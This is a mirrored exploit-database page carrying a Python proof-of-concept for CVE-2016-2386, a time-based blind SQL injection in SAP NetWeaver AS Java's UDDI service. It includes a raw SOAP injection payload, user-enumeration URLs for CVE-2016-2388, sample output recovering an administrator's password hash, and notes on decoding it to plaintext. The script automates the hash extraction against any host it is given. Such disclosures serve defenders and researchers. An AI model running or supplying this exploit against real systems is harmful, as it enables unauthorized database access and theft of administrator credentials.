首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SAP NetWeaver J2EE Engine 7.40 - SQL Injection
来源:https://twitter.com/vah_13 作者:Vardanyan 发布时间:2018-01-12  
#!/usr/bin/env python
# coding=utf-8
"""
Author: Vahagn Vardanyan https://twitter.com/vah_13
 
Bugs:
CVE-2016-2386 SQL injection
CVE-2016-2388 Information disclosure
CVE-2016-1910 Crypto issue
 
 
 
Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50
  
    POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
    SOAPAction:
    Content-Type: text/xml;charset=UTF-8
    Host: nw74:50000
    Content-Length: 500
 
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/">
      <soapenv:Header/>
      <soapenv:Body>
        <sec:deletePermissionById>
          <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
        </sec:deletePermissionById>
      </soapenv:Body>
    </soapenv:Envelope>
  
 
 
 
In SAP test server I have admin user who login is "Administrator" and so I used this payload
 
        %PRIVATE_DATASOURCE.un:Administrator%
 
most SAP's using j2ee_admin username for SAP administrator login
 
        %PRIVATE_DATASOURCE.un:j2ee_admin%
 
You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)
 
    1)  http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
    2)  http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
 
Instead of J2EE_CONFIGENTRY table you can use this tables
 
        UME_STRINGS_PERM
        UME_STRINGS_ACTN
        BC_DDDBDP
        BC_COMPVERS
        TC_WDRR_MRO_LUT
        TC_WDRR_MRO_FILES
        T_CHUNK                !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
        T_DOMAIN
        T_SESSION
        UME_ACL_SUP_PERM
        UME_ACL_PERM
        UME_ACL_PERM_MEM
 
 
An example of a working exploit
 
    C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
    start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
    this may take a few minutes
    Found {SHA-512, 10000, 24}M
    Found {SHA-512, 10000, 24}MT
    Found {SHA-512, 10000, 24}MTI
    Found {SHA-512, 10000, 24}MTIz
    Found {SHA-512, 10000, 24}MTIzU
    Found {SHA-512, 10000, 24}MTIzUV
    Found {SHA-512, 10000, 24}MTIzUVd
    Found {SHA-512, 10000, 24}MTIzUVdF
    Found {SHA-512, 10000, 24}MTIzUVdFY
    Found {SHA-512, 10000, 24}MTIzUVdFYX
    Found {SHA-512, 10000, 24}MTIzUVdFYXN
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
    Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X
 
 
And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text
 
    base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹€ºX
 
"""
import argparse
import requests
import string
 
_magic = "{SHA-512, 10000, 24}"
_wrong_magic = "{SHA-511, 10000, 24}"
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
       "xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n  <soapenv:Header/>\r\n  <soapenv:Body>\r\n    " \
       "<sec:deletePermissionById>\r\n      <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
       "UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
       "0}%') AND '1'='1</permissionId>\r\n    </sec:deletePermissionById>\r\n  </soapenv:Body>\r\n</soapenv:Envelope> "
host = ""
port = 0
_dictionary = string.digits + string.uppercase + string.lowercase
 
def _get_timeout(_data):
    return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
                         headers={
                             "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
                                           "Firefox/57.0",
                             "SOAPAction": "",
                             "Content-Type": "text/xml;charset=UTF-8"
                         },
                         data=_xml.format(_data)).elapsed.total_seconds()
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--host')
    parser.add_argument('--port')
    parser.add_argument('-v')
 
    args = parser.parse_args()
    args_dict = vars(args)
 
    host = args_dict['host']
    port = args_dict['port']
 
    print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
    _hash = _magic
    print "this may take a few minutes"
    for i in range(24):  # you can change it if like to get full hash
        for _char in _dictionary:
            if not (args_dict['v'] is None):
                print "checking {0}".format(_hash + _char)
            if _get_timeout(_hash + _char) > 1.300:  # timeout for local SAP server
                _hash += _char
                print "Found " + _hash
                break
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ALLMediaServer 0.95 Stack Buff
·D-Link Routers 110/412/615/815
·LabF nfsAxe 3.7 FTP Client Sta
·Parity Browser < 1.6.10 - Bypa
·Samsung SRN-1670D Web Viewer 1
·Microsoft Windows - NTFS Owner
·phpCollab 2.5.1 Unauthenticate
·macOS - 'process_policy' Stack
·TP-Link Remote Command Injecti
·Microsoft Edge Chakra - 'Appen
·Polygonize PC 1.1 Remote Comma
·Jungo Windriver 12.5.1 - Privi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved